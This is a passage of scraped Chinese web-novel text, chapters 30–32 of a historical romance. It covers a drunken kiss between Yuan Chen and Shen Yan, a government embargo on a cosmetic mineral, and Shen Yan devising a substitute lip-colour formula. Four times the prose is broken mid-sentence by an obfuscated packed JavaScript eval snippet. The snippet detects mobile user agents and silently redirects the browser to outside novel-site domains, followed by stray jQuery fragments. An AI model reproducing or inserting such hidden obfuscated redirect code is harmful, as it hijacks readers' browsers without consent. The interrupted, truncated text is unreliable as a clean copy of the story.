元琛似乎懒得理他，没再接话，清寒锐利的眸光向他扫来，带着三分敌意，七分打量：“你早就认识沈妍？” “反正比你早。”高云锡直言不讳。 随即，他还简略说了和沈妍在晋国公府的两次相遇。 当然，对于沈妍撇下他独自逃跑这种不太重要的细节，自是略去未提。 末了，高云锡言道：“你们中原人不是有句话‘窈窕淑女，君子好逑’，既然你对沈娘子无意，应该不介意我——” “介意。”元琛沉声打断他，略显晦暗的眼神翻滚着怒意，“警告你，不要打沈妍的主意。” 撂下这句，他便抬脚离开。 徒留高云锡薄唇微张，惊讶地觑着他的背影，片刻低喃：“贪心不足。” 但他心里再清楚不过，从前的元琛怎会为一个女子动怒？ 意识到这点，他神色慢慢僵住，半晌，忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376612|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勾唇一哂：元忌平，你完蛋了。 但他自己又何尝不是？ 高云锡至今仍清楚地记得，那日，他在刺骨的湖水中奋力挣扎，恍惚间似又回到了七岁那年。 他和兄长在湖边散步时，猝不及防被一股大力推入水中。 冰凉阴寒的湖水呛入口鼻，不会游泳的他在水中奋力挣扎，呼救…… 混乱中，他听见兄长的声音字字清晰传入耳中：“别怪我，玄清，要怪便怪储君只能有一人，而父王最器重的皇子是你。” 看着岸边那道熟悉的身影越来越远，高云锡一颗心仿佛已先于身体坠入湖底。 他和兄长高云铭虽为同父异母，却是自幼朝夕相处，情谊深厚。相较其他兄弟，高云铭是他最为亲近、敬仰的兄长。 故听见兄长说话那刻，高云锡说不清是因为惊讶太过，还是吓傻了，一时甚至忘记了挣扎，忘记了呼救，只是任由着意识一点点抽离。 后来，一名在附近扫雪的仆人发现了他，将他打捞上岸。 父王请来全渤海最好的医师为他诊治。 高烧十余天后，他才勉强捡回一条命。 高云铭推他落水之事随之败露，其母族联合护军兵临城下，逼迫他的父王立高云铭为太子。 事后，父王为保他性命，将他送往大庆做质子。 如今许多年过去，高云锡逐渐接受了无法再回故土的事实，当年落水的记忆也渐渐淡化。 但自打七岁那年后，他一直怕水。 然而，那次他在晋国公府意外落水，失去意识前，一只柔软有力的手却紧紧抓住了他。 高云锡能清晰感觉到，那人娇小的身躯正全力以赴将他推向水面。 他在水下努力睁开眼，看清楚并记下了对方的脸。 他想，这个女人一定是上天派来拯救他的。 只不过，她水性未免也太一般了。 几次险些连她自己也搭进去，倒是没放弃，吃力地拖着他游到岸边，将他从那个悠长、窒息的噩梦中解救出来。 高云锡躺在湖边大口喘着气，片刻后睁开眼，却惊愕地发现，那道纤细的身影正逃似的迅速远离，眨眼消失在他的视野中。 那一刻，他隐约猜到了对方的身份，故而事后没再找她。 姚承嗣残忍善妒，没有十足把握护住那女子前，轻易冒险，反而会害了对方。 高云锡自是知道轻重。 可他好像着了魔。 每晚睡前，脑中萦绕不去的人是她；睡梦中最想见到的人是她；早上醒来第一个想见的人也是她…… 自从那次溺水后，高云锡越来越频繁地接受姚承嗣宴请，表面在趋炎附势，实则只为能再见那女子一面。 某次，终于给他达成所愿，不想对方却又一次从他眼皮子底下溜之大吉。 他当时有点伤心，怀疑人家是讨厌自己。 那之后很长一段日子，他没再去过姚府。 再后来，姚承嗣获罪，府中家姬也悉数被发落至各处。 得知此事，他当即叫人描摹了那女子的画像，派遣心腹遍寻她的踪迹，却始终未有结果。 岂料再见面，她已成为元琛的侍妾。 高云锡唇边浮起一抹苦笑。 为何偏偏是元琛？ ——旧日他在上都唯一称得上朋友的人。 如果当初是他先找到沈妍，一切会不会不一样？ 30. 醉酒 从牡丹园出来，沈妍和长庚将喝得醉醺醺的元琛架上车。 此前,虽然在马球赛后又有赛诗、投壶、双陆、斗茶、斗酒……诸多戏乐，可惜沈妍没再有机会围观长见识，因为元琛一直命她随侍在侧。 席间，她眼看着卫世子与人觥筹交错，杯不离口。 更离谱的是，这家伙不知是喝大了，还是哪根筋搭错，后来竟然自己灌起自己来，还执意不听劝阻，直到喝得东倒西歪，酒壶都脱了手才算完事。 车轿内，沈妍扶着元琛踉跄向前。 后者沉着脸，口中含含混混，念念有词：“……不准打她的主意！她是……是……”后面的话渐渐化成气声，几不可闻。 沈妍听不懂他在说什么，自是不会理会。 怎料她的安静，居然惹恼了卫世子。 “听到没有？”他声线微沉，偏过头来，刀子般的目光紧紧盯着她。 沈妍被他盯得心头一凛，连忙道：“世子喝醉了——是我，沈妍。” “沈……妍？”元琛嘟囔一句，下一瞬，他像突然想起了什么，瞳孔微缩，烫着似的，猛地后退一步，因醉酒而变得通红的耳根此刻更似要滴出血来。 沈妍因怕卫世子摔着未敢松手，不想骤然被他这么一带，两个人同时站立不稳，跌倒在坐榻上。 元琛在下，沈妍不偏不倚，堪堪摔在他身上。 男人的身躯坚硬、紧实，硌得她有些不适，唇边倒是一片弹软。 “？！”不对…… 恍然意识到什么，沈妍面容一僵，杏眸瞪得溜圆。 面前，卫世子黑眸正直勾勾盯着她，深潭般的眼底墨色如潮。 沈妍心里一惊，慌忙撑着手臂准备起身。 可惜已经晚了。 卫世子一把将她拉回，声线低沉暗哑：“是你先招惹我的。” 话音未落，他蓦地翻身将沈妍抵在围挡上，只用一只手便将她试图挣扎的双手困住。 下一瞬，他倾身欺近，灼烫的呼吸萦绕在沈妍唇边。 她甚至能从面前乌黑莹亮的瞳仁中看见一脸错愕的自己。 弹软炙烫的唇瓣再次覆上来时，却是无比轻柔、小心翼翼……卫世子似乎连呼吸都停了。 沈妍不禁怔住，片刻后意识到不对，别开脸。 这一举动却再次惹到了卫世子。 他皱眉捏住沈妍的下颌，强势让她面对着自己，随即再次吻上来。 这次却由起初的温柔，化作激烈的辗转厮磨，舌尖霸道地撬开她紧咬的牙关…… “阿妍……”他含混呢喃。 沈妍闻言，正要挣动的手一滞。 卫世子温热、凌乱的呼吸侵入口鼻，混和着雪松香与淡淡的酒香，对她攻城略地，一点点夺走她的气息…… 浑浑噩噩间，沈妍似乎忘记了自己是谁，身在何处，只是不由自主拥住面前让她心动的男子。 “阿妍，阿妍……” 不知过了多久，沈妍听见耳畔一遍遍重复着卫世子的声音。 她恍然想到什么，倏地睁开眼。 ——卫世子为何会叫她阿妍？ 不对，他本不该如此——只是因为喝醉了酒，所以才…… 一刹那，仿佛终于想起自己是谁，沈妍心头划过一抹恐慌，双手从头顶的桎梏中奋力挣脱出来。 元琛混混僵僵，起初像是有些诧异地望着她，但很快，眼神便彻底放空，整个人如同软泥般歪倒下去，口中仍梦呓般咕哝着：“阿妍……” 沈妍抬手抹去唇上的水光，杏眼晶莹地瞪着醉倒在坐榻上的元琛，贝齿中挤出两个字：“混蛋！” 谁准你叫阿妍的？ 别人或许可以这么叫，唯独你不行。 ——你又不是真心喜欢我。 继而，她又想到，之前明明说好的假扮侍妾，元琛却趁醉酒欺负她，再这么下去，鬼才愿意再陪他演戏！ 沈妍一时越想越气，越想越委屈，若能事后不留痕迹，她此刻真想冲上去将卫世子暴捶一顿。 但这事她也只能想想，并不敢真的怎么样。 万一卫世子醉得还不够彻底，自己揍到一半，他醒了，那后果可不是她能够承担的。 气呼呼瞪了他一会儿，沈妍终是深吸一口气，偏过头不再看他。 不知过了多久，等她心绪平复下来，再扭过头时，却看见从来玉骨冰姿的卫世子此刻形象全无地趴在座榻上，谪仙般的俊颜被挤压得变了形，眉心紧拧，薄唇抿成一线。 那样子倒像比她还狼狈，还委屈似的。 沈妍盯着看了片刻，终是无奈地叹了口气，把人扶起来，倚在自己肩头。 她这是造得什么孽？ * 卫王府，迎晖阁。 沈妍吩咐小满煮好醒酒汤，亲手将一整碗全给元琛灌了下去，这才同小满返回兰竹轩。 关起门来，小满忍不住对沈妍报告：“主子，我方才听见世子一直喊你的闺名……你确定他没有——” “确定。”被触动心事，沈妍一阵烦闷，没好气道，“他不过是戏演多了，醉酒都不忘演给别人看。” 小满愕然：卫世子演技也太好了！ 虽心中有些不以为然，但她看见沈妍脸色不太对，还是压下想法，未再反驳。 “我有些累了，想早点睡。”沈妍边说边没精打采地走向卧房。 小满跟过去帮她更衣，又打来热水服侍沈妍洗漱，直到看着人躺好，这才放下帐子离开。 沈妍躺在卧榻上却辗转反侧起来，脑海中总是不自觉浮现出轿中那些让人面红耳热的画面…… 良久，她烦躁地一把拉高锦被，将脸蒙在里面。 黑暗中，却又响起无数杂音，萦绕耳际。 为何醉酒后的卫世子和平时天差地别？ 他又为何会喊自己的闺名？ 那一刻，卫世子心中所想之人真的是她吗？ …… 纷乱的声音搅得沈妍头疼欲裂，没过多久，她又掀开被子，拿手指塞紧了耳朵。 半晌，她深吸一口气，命令自己清醒些。 假如卫世子果真对她有什么想法，为何从不宣之于口？ 他并非优柔寡断之人。 相反，她所认识的卫世子清冷果决，一早便同她言明各自的责任与利害，界限也划得清楚明白。 所以，实在没必要因为一次意外想入非非。 否则便会和上次元琛来苏府接她时一样，最后尴尬、受伤的只会是她自己。 * 元琛做了一个悠长的梦，梦里，他又回到了母亲临走前的那个午后。 母亲躺在病榻上，人瘦弱得仿佛只剩下一把骨头。 她面色苍白，双颊凹陷，布满血丝的双眼直勾勾盯着门口。 “母亲，你再坚持一会儿，徐怀里已经去找父亲了……父亲他……应该很快会来。”他蹲在榻边，紧握着母亲的手说，言罢又回头焦切地望向门口。 那里却空空荡荡，安静得令人绝望。 床头，母亲歪着身子，一口鲜血喷在雪白的锦帕上。 他听见旁边郑嬷嬷压抑的低泣。 母亲的呼吸像破旧的风箱，定定凝着他，衰弱的声音一字字艰难地吐出：“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408555|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要记恨你的父亲……” “母亲，你再坚持一下，我这便去找父亲！” 他在雁回城的街道上一路狂奔，直跑得上气不接下气，口中溢满血腥。 好不容易赶到金樽轩酒楼外面，他却被父亲的两名侍卫阻拦在外：“卫王有令，任何人不得上去打扰。” 任凭元琛如何好言解释，愤怒嘶吼，乃至拳脚相向，侍卫们就是不肯放行。 他又气又急，不顾一切往里冲，却被父亲的侍卫死死按住。 恍惚中，最后是徐怀礼泪流满面地将他拉开…… 后来，父亲还是去看母亲了。 但已经晚了。 在下人们一片嘤嘤哭泣声中，元琛看见母亲仍保持着他离开时的姿势，怔然望着门口，只不过，此时她眼中已经失去光泽。 “母亲？母亲……”他冲上去摇晃着母亲，试图叫醒她。 下一瞬，他忽然两手一空，怀抱中的母亲竟消失不见了。 榻上尸体变成了另外一个人。 元琛在巨大的震惊中，视线停在那人毫无血色的脸上。 “阿妍？” 黑暗中，元琛蓦地睁开眼，胸口剧烈起伏。 他不知道自己怎么会做如此怪异的梦，是不是死去的母亲在提醒他什么？ 但他意识到自己最近的确变了许多——变得软弱，失控，易怒，患得患失…… 他有些害怕这样的自己，更不想重蹈父母的覆辙。 或许，他该离那个女人远一点儿。 * 外面打更的声音将元琛的思绪拉回。 他想起自己昨日喝了许多酒，尤其从牡丹园出来后，记忆都有些模糊了。 他是怎么回来的？ 元琛努力回想，却只能记起一些零碎不清的片段…… 他和沈妍……他们好像…… 心头一颤，他被其中的某个画面吓了一跳，分不清那究竟是真实发生过，还是梦中的情景。 自此辗转反侧，夜不成寐。 好不容易挨到寅时，元琛坐起身来，穿好衣服后，先将长庚叫进来询问了一番。 好在据长庚描述，昨日一切并无异常——除了那句“世子一直在念叨‘阿妍’”…… 阿妍？ 元琛抿了抿唇，疑心愈发重了。 等到沈妍送他早朝时，他故意边走边揉着太阳穴，状似不经意嘟囔了句：“昨日喝多了。”言罢不动声色观察沈妍的反应。 她没说什么，但脸色明显是不太好看。往常不施粉黛的脸，今早却化了个浓妆，像在刻意遮掩着什么。 元琛忽然莫名有点口干，顿了顿，终是心虚地开口问道：“那个，我昨日有没有说过什么不当说的话？” 沈妍：“……” 何止说了不当说的话，你还做了不当做的事呢！ 不过瞧卫世子那样，显然是什么都不记得了。 呵，果然全都是不走心的醉话。 为避免日后尴尬，沈妍忍耐地摇了摇头。 随即，她就看见元琛眨动着那双清水明眸怔然望着她，无辜得不染一丝尘凡一般，与昨日轿中之种种简直判若两人。 胸腔终于忍不住燃起一把无名火，她强压怒气，咬着牙缓声道：“人喝了酒，记性容易变差——世子日后还是少饮得好。” 话落，元琛竟难得乖觉地点了点头。 然而片刻后，却又故态复萌。 “对了，”他想起什么，冷潭般的眸子微微眯起，直勾勾盯着她，“你想要龙涎香，为何不直接来找我？”是觉得本世子球技太差，无法帮你赢回来？ 31. 禁令 沈妍一愕，完全没料到元琛会同她计较这些。 再说，她怎么能为这种事情找他？ “世子日理万机，还有正事要忙，妾怎能为一点小事麻烦您。” 一番好言解释，却不料元琛听完好像更生气了，一开口声音阴恻恻的，像从齿缝里挤出来：“那你就不怕麻烦高云锡？” 沈妍：“……” 人家只是顺手帮忙而已。 “你跟他很熟？”元琛不依不饶，黑着脸继续追问。 沈妍不知为何，瞧着他莫名有点瘆得慌，磕磕绊绊道：“……也不算很熟……就从前在晋国公府，钦国公他——” “够了，我不想听。”元琛突然打断她，言罢头也不回地走了。 留下沈妍一脸懵地站在原地。 ——这个人真是莫名其妙啊！ * 之后一段日子，除了赴宴时演戏外，元琛很少再主动与沈妍搭话。 除此以外，他还特意吩咐沈妍早起不必送他。 再就是，他每日早出晚归，忙得不见人影，就算偶有碰面，也只是冲她略点下头便匆匆离开。 对沈妍而言，不必同卫世子打交道，她倒能腾出更多精力忙店里的事。 这期间，她收到了不少贵女的回礼，有各色糕点，小食，绣帕，香囊……不一而足，大都出自闺阁手作。 回礼通常还都附有字签，字里行间感谢她在牡丹宴及其后的慷慨相赠。 另外，点绛唇接待的贵客也日益增多。 这日，从兰竹轩出门前，小满将整理好的一沓字签码在桌案上，边拿镇纸压住，边喜滋滋向沈妍道：“有这么多贵人娘子给主子捧场，点绛唇的生意必定会越来越好。” 沈妍听得眼尾上扬：“但愿吧。”言罢和小满精神抖擞地出了门。 刚踏进点绛唇，掌柜刘骥云便一脸凝重地朝她走来：“东家，不好了，咱们库房的金缕砂快用完了。今早我跑遍了东西两市，到处都买不到货。听说官府昨日突然下了禁售令，之前还高价买空了两市的货源。” 眼下京城贵女圈的衣饰盛行绯、紫、杏、金、绿等富贵、浓郁色泽。 而金缕砂以其暖红金底色，兼具金砂莹光，显色富丽浓艳，与衣饰搭配起来浑然天成，故而在上都贵女圈大为风靡。 不过由于金缕砂非中原物产，而是由西北开采后远道运来，是以造价十分昂贵。 可架不住这玩意太受欢迎，如今但凡有点名气的胭脂铺、口脂店，为了撑门面，多少都会备上几样金缕砂色的高档货品售卖。 点绛唇刚在贵女圈打响名声，故而，近日得了不少份金缕砂色口脂订单。 此刻听刘骥云说完，沈妍不由心下一沉，问刘骥云：“剩下的存货还够凑齐订单吗？” 刘骥云皱眉摇了摇头。 沈妍不解：“好端端的，官府为何禁售金缕砂？还这么突然。” “我已叫人出去打听了。”刘骥云道。 正说着，派出去办事的伙计仇满仓急匆匆闯进门。 “怎么样了？”刘骥云迎上前问。 仇满仓摇头，上气不接下气道：“……没人知道什么原因，据说，眼下除了凝香楼，各大店铺全都断了供。” 沈妍和刘骥云相视一眼，几乎异口同声：“去私市看看。” * 帝京城南，紧邻通济坊有间破庙。庙宇年久失修，漏风漏雨，早已不知名号。 然以此庙为中心，前后荒凉的土路两侧，此时此刻却挤满了大大小小的商贩，有西域人士，也有当地土著，三教九流，各色人等络绎不绝。 这里就是上都最有名的黑市一条街。 各种来路不明的古董、赃物、禁品、走私货……五花八门，林林总总，例来皆在此地交易，这是自前朝以来便形成的传统。 沈妍、刘骥云和丁香三人赶到私市前，刘骥云已吩咐得力的伙计前往打探情报，只是人一直未归，刘骥云猜测，事情多半并不顺利。 路上，他对沈妍说起此事。 沈妍点头道：“不急，先看看情况再说。”此行她本就未报太大希望。 他们能想到私市，别家店铺自然也能想到。 加上私市上货品本就不多，此行无非是探听一下消息，碰碰运气罢了。 结果入市的一路，单是口脂店掌柜他们就遇见了四位。 可见大伙全想一块去了。 沈妍看几位掌柜全都肃着一张脸，视线相触，彼此都心照不宣地叹了口气。 看来情况比想象中还要糟糕。 前方一处摊位旁，几名衙役正呼喝着缉拿摊主。 那摊主显然极不服气，边奋力挣扎，边大声叫嚷：“你们凭什么抓我？老子在这摆摊多年，从来卖的都是这几样东西，我犯了什么罪？” “废话！”一名官差头目扭紧他的胳膊，厉喝道，“官府已明令禁售金缕砂，你还敢偷偷售卖，不抓你抓谁？” 边说，他边指挥手下把该摊位的金缕砂全部抄走。 这一杀鸡儆猴的举动立时惊动了周边的摊主。不少人害怕沾上官府，甚至主动将自家的存货上缴，还有些摊主则忙着收摊撤柜。 黑市售卖之物本就处于模糊地带，摊主们瞧见这阵势，哪个还敢往刀口上撞？ 这边的骚动很快吸引了附近客人和前来购买的人群，不少人看得怒气冲冲，怨声载道。 “官府禁令下得如此突然，我们之前的订单怎么办？损失谁来赔？” “就是！再说既然要截断货源，众商户便该一视同仁，为何凝香楼就能例外？” “是啊，我今早还看见凝香楼新上了一批金缕砂。” “八成是有狗官拿了凝香楼的好处，中饱私囊吧？” “有道理，这些人可没少干这种事。” “去去去，让开！让开！”几名衙役上前开道，驱赶着人群。 此时，忽听人群中一老者的声音高叫道：“各位老板、掌柜，老夫今日要拟一份状纸，将金缕砂禁令之事上告，有谁想要一起？” 沈妍认得说话的老者乃是红妆坊的赵老板。此人经营胭脂铺多年，在京中算是这一行德高望重的行首。 话音落下，周遭立时有不少人高高举手响应。其中领头的几位老板一拍即合，决定就此不合理的禁令拟一份状纸，联名上告。 很快便有人找来笔墨纸张，拟好了一份状子。 沈妍见诸位老板纷纷上前，在状子后面填写姓名，也跟着挤上前去。 这边，她才写完姓名，后面人群中忽有人扬声道：“金缕砂乃贵人色，本就不该什么人都能售卖，官府将其交给某些有实力的店铺也在情理之中。” 这话说得盛气凌人，倨傲霸道，又在这风口浪尖力挺官府，故而话音落下，立时引来一片反感。 沈妍扭头向声音来处望去，只见李胭娘端坐在步辇上，边朝人群靠近，边拖着尾音慢条斯理道，“诸位老板有这份告状的心思，不如先想想如何解决眼前的订单吧。” 人群中识得李胭娘的掌柜不在少数，更有那依仗金缕砂吃饭的掌柜，如今一下子被夺去饭碗，听见这话，忍不住愤然声讨。 “你的凝香楼不愁货源，当然会如此说！” “李掌柜得了多少好处？来这里帮官府说话？” “哼，官商勾结，欺行霸市，说的就是李胭娘这种人！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16421194|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 这边，刘骥云面露疑惑：“李胭娘在这种时候泼大家的冷水，这不是摆明要激起众怒吗？” 旁边，丁香冷哼一声，咬牙切齿：“瞧她那副高高在上的样子，真是要多欠揍有多欠揍！” “不，”沈妍闻言却摇头道，“李胭娘没这么傻。” 话音落地，只见李胭娘在一片喝骂声中手臂平伸，不紧不慢对众言道：“刚刚莫老板说凝香楼不愁货源——”她不无自得地弯了弯唇，“说得对，我们凝香楼的确还有很多金缕砂，多得自己都用不完了。所以，有哪位老板想要，我李胭娘随时可以转卖给他，以解诸位的燃眉之急。” 她视线扫过一众老板、掌柜，“不过，这还要视诸位的表现。” 话音落地，周围瞬时一静。沈妍注意到适才不少联名告状的老板，此刻返回那张桌案，要求划掉自己的姓名。 这也难怪，比起靠漫长的告状伸张正义，当然是换个方式搞到金缕砂，来得实际稳妥。 眼下售卖金缕砂的渠道全部堵塞，李胭娘便可借助上位者的货源优势，加价售卖给其他店铺，在胭脂、口脂之外，额外多赚一大笔。 这才是李胭娘的如意算盘。 看着刚刚还义愤填膺的老板们，此时都争先恐后涌向李胭娘，沈妍缓缓摇了摇头，对刘骥云和丁香道：“走吧。” * 凝香楼顶层茶室,李胭娘煮好茶汤后，斟了一盏，恭恭敬敬奉到桓莹玉面前。 “郡主放心，”站在茶桌旁，她对桓莹玉道，“这次您亲自出手切断了黑市的金缕砂货源，胭娘敢向您保证，姓沈的当初怎么吃下去的那批贵客，近日就得怎么吐出来。” 旁边圈椅上，桓莹玉不慌不忙呷了口茶，撂下建盏道：“我果然没看错人，李掌柜不愧是那个侍妾的克星。” “郡主过奖。”李胭娘唇边轻漾，“那个姓沈的，不只郡主看不惯，此人也是小人的眼中钉肉中刺。总之，您就等着瞧好戏吧。” 桓莹玉颔首，起身将一枚令牌置于桌上：“最新一批货今日抵达驿站，届时，你可叫人凭此令牌拿货。”言罢，她提步向门口走去。 “是。”李胭娘欢喜地应承一声，朝桓莹玉的背影躬身下拜，“胭娘多谢郡主恩典！” * 凝香楼外，目送平陵郡主的车轿消失在长街转角，李胭娘和菊芬返回店铺。 一名掌事伙计从后院库房赶来，大步至李胭娘跟前，叉手道：“掌柜，事情都办妥了。” 李胭娘点头，边提起裙摆上楼，边道：“你随我上来。” 那伙计应声，随李胭娘和菊芬上了顶楼茶室。 “掌柜，今日那批货均已高价售出，后面五日的订单也排满了。”掌事伙计志得意满道。 言罢似又想起什么，一顿，“另外，小人已将丑话说在前头，从凝香楼出去的金缕砂均有记录在案，不得再度转售。如有违背，被官府追究起来，凝香楼概不负责。客人们听后都争相签下了条款。” “你办事，我放心。”李胭娘道。 那伙计又道：“此外，今日又来了好几笔订单，约莫是客人们听说了别家店金缕砂断供之事。” 闻言，李胭娘不无得意地轻哼一声：“甚好。” 掌事伙计却略作迟疑：“不过，那几笔订单数量都不少，以咱们作坊的产力——” “无妨。”李胭娘毫不迟疑，“送上门的银子岂有不要的道理？让作坊加紧赶制即可。” “是。”掌事伙计讨到示下，躬身退出。 这边，菊芬关好门回来，不无担忧地对李胭娘道：“主子，这次金缕砂一事，郡主搞出这么大动静——该不会惊动卫世子吧？” 32. 新品 李胭娘闻言摆手：“怕什么？出了事有郡主担着。再说，卫世子的势力不在京中，就算在，他也未必肯花力气为一个侍妾出手，你说呢？” 菊芬抿唇点头，须臾哼笑一声：“点绛唇这次怕是要失约了。” 李胭娘微眯的眼眸寒光一闪：“姓沈的想跟老娘抢贵女圈生意，还是趁早断了这念想吧。” * 这边，沈妍一行人回到点绛唇。刘骥云和丁香因为还要照顾店面生意，暂时留在大堂忙碌。小满与另一名伙计去附近的食肆给众人买饭菜。 沈妍则独自上楼，继续思索着金缕砂一事的应对之策。 期间刘骥云不时向她报告赵老板一方的消息。 午后饭食送到，小满打点好了一份给沈妍送上楼。丁香因心里挂着金缕砂的事，也跟着上了二楼茶室。 只见沈妍正一手支额坐在茶桌旁，秀眉微拧，另一只手细白的手指一下下轻敲着桌面。 不久前，沈妍听刘骥云报告赵老板去衙门递联名状，遭到官差一通敷衍，劝退，赵老板坚持，他们还将他重重数落一顿，致使年过花甲的赵老板气得当场背过气去。 这会儿沈妍已想清楚——远水解不了近渴，就算这状能告赢，等官府恢复金缕砂售卖，也不知是多久以后的事了。 而眼下点绛唇最近一笔订单，仅剩六天便要交货。 也就是说，点绛唇必须在六天内备齐一批金缕砂色口脂，才能度过这次危机。 “尚书府那笔订单只剩六天，太赶了……”丁香愁眉不展道，“阿妍，凭着你和那些贵人娘子们的交情，能否请她们帮忙说说情，再多宽限些时日？或者，换成其他类似颜色行不行？毕竟政令下得这么突然，也是谁都没料到的事。” 沈妍听后缓缓摇了摇头：“现如今，有无金缕砂色代表着一家口脂店的实力，而能否履行承诺的订单则意味着信誉。如果点绛唇第一笔订单就爽约，以后谁还会信任我们？敢把重要的订单交给我们？” 再说，她和那些贵人娘子们不过是一同参加了几次宴饮，并没有那份交情。 就凭她送口脂和千髓香那点小事，还不足以请人家帮这么大忙。 小满听到此处，忍不住在旁插言：“那能不能请卫世子帮忙想想办法？” 这次，沈妍果断否决：“不行。” 这段日子，她岂会看不出元琛对她的冷淡和疏远？ 人家只是因为那份契约才同她有所牵扯，实则与她并无多少交情可言。 而自从姚府那次，她开口求过卫世子后，迄今已经与这个人有了太多不该有的羁绊，又怎能再次重蹈覆辙？ 小满言罢，打量沈妍面色不虞，垂眸抿了抿唇，终究未再说什么。 沈妍思量片刻，吩咐丁香：“去把库房里所有的金缕砂都拿来。” 丁香应声出门，不多时抱着个一尺来长的朱漆盒子来到茶室。 盒盖掀开，看着里面仅剩不到一小半的金红色矿砂，丁香面色为难：“全都在这了。”显然，要完成尚书府的订单，这点金缕砂远远不够。 沈妍看了眼存货，即合上盖子，对丁香道：“让刘掌柜把这个给红妆坊赵老板送去。” 丁香闻言一愕，抬眉不解地望着她。 沈妍：“老人家急火攻心，听说已经气得病倒了，咱们能帮多少算多少吧。”说着，她将漆盒递给丁香。 这厢，丁香还未说话，小满先着急道：“可是主子，咱们怎么办？” 沈妍深吸了口气，沉声开口：“点绛唇早该有自己的金缕砂色。” * 或许眼下正是改变的契机。 之前沈妍忙着为开店做准备，争取客源，一直未能腾出手研制新品。 故而这次才会受原料所限。 而金缕砂名声虽响，却也只是一份矿料而已，未必便找不到替代品。 事不宜迟，沈妍决定立刻开工，研制能替代金缕砂色的新配方。 计划已定，她让小满去了趟卫王府，告知郑嬷嬷这几日点绛唇有些忙，她打算宿在店中。 反正元琛最近也没有需要她出现的宴饮场合。 回到眼前，虽说目前尚无法从天然原料中获取暖红金色，但朱、黄两色却不难得到。 只要调配好颜色的纯度和比例，沈妍相信，多试几次，定能找出她要的色泽。 于是，她将能想到的原料列了份清单，叫小满和丁香一一找齐。 点绛唇二楼，独属于沈妍的小作坊内，丁香和小满将两托盘各色原料放在沈妍面前。 “朱砂，赭石，红花，槐黄，姜黄，蜂蜡，栀子果……全都齐了。”丁香对照着单子清点了一遍说。 原料齐备，沈妍反复搭配，组合，调试了数次，可惜做出的样品总是差那么一点。 毕竟，某些原料的质地上妆效果不佳，有的又容易褪色，还有的色彩本身不够纯粹。 这也是为何金缕砂会卖得如此昂贵——的确很难找到与之媲美的替代品。 最后一个口脂小样试验失败后，沈妍拍打着泛酸的肩颈，疲惫地打了个哈欠。 小满见状凑过来，边帮沈妍捏肩边道：“主子，都已经四更天了，要不明日再试？” 沈妍摇头道：“东西研制完还要送去城南作坊，留给我们的时间不多了。” 因为暂时没丁香什么事，沈妍便让她先去外间卧榻上休息。 此时被作坊内的说话声唤醒，丁香揉揉眼起身过来，对沈妍道：“我去泡壶香引子，给咱们提提神。” 沈妍头也顾不上抬：“好。”边说边鼓捣手头的活。 她倒不担心调不出金缕砂色，颜色多试几次总能调出来，无非就是看最后能否找到质地更好、着色更稳定的搭配。 此外还有口脂的莹光——没有金缕砂，是否能用别的闪光材料替代？ 沈妍先后试了珍珠粉、蚌粉、松花粉、云母粉等几种闪光原料来增加光泽，最后确定云母粉的效果最佳，也最接近金缕砂。 一番衡量后，她最终选定色泽更纯粹、着色也更稳定的红花和姜黄两种天然植物，调好比例后，加入云母粉，最后融入蜂蜡，与百合香蒸出的汁水混合，装入模具。 之后便是等着它们凝固。 忙碌了一晚上，至此，作坊内的三人均已是将驽之末，沈妍终于发了话，三人各自找地方眯一会儿再说。 * 点绛唇对面，路边一棵老槐下，男人身形颀长，微仰着头冲对面唯一亮灯的窗口怔怔出神。 不知不觉，他已经在树下站了大半个时辰。 若不是今夜巡防的武侯见过他，认得是赫赫有名的凌州兵马使，此刻早已将元琛当成疯子抓走了。 无人知晓，卫世子平静的外表下，此刻有两个声音正在激烈争执，彼此拉锯。 其中一个声音不停叫嚣着，让他马上离开。 另一个则冷硬强势，三言两语控制着他从卫王府来到此地，站在这里。 这些日子，他听从理智安排，命令自己远离沈妍。 他自知轻重，也有足够的意志力——任何事情，只要他想，还没有做不到的。 至少表面看起来如此。 实则却不得不面对一个残酷的事实：越是刻意远离，越被紧紧吸引。 不远处的墙角有道人影一晃，一名黑衣人不声不响来到元琛跟前，躬身行礼。 “世子，我等已查明，这次有关金缕砂的一连串动作，皆是韩国公势力所为。”言罢，他欲言又止地抿了抿唇，似在迟疑着什么。 这一细微的表情并未逃过元琛的眼睛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 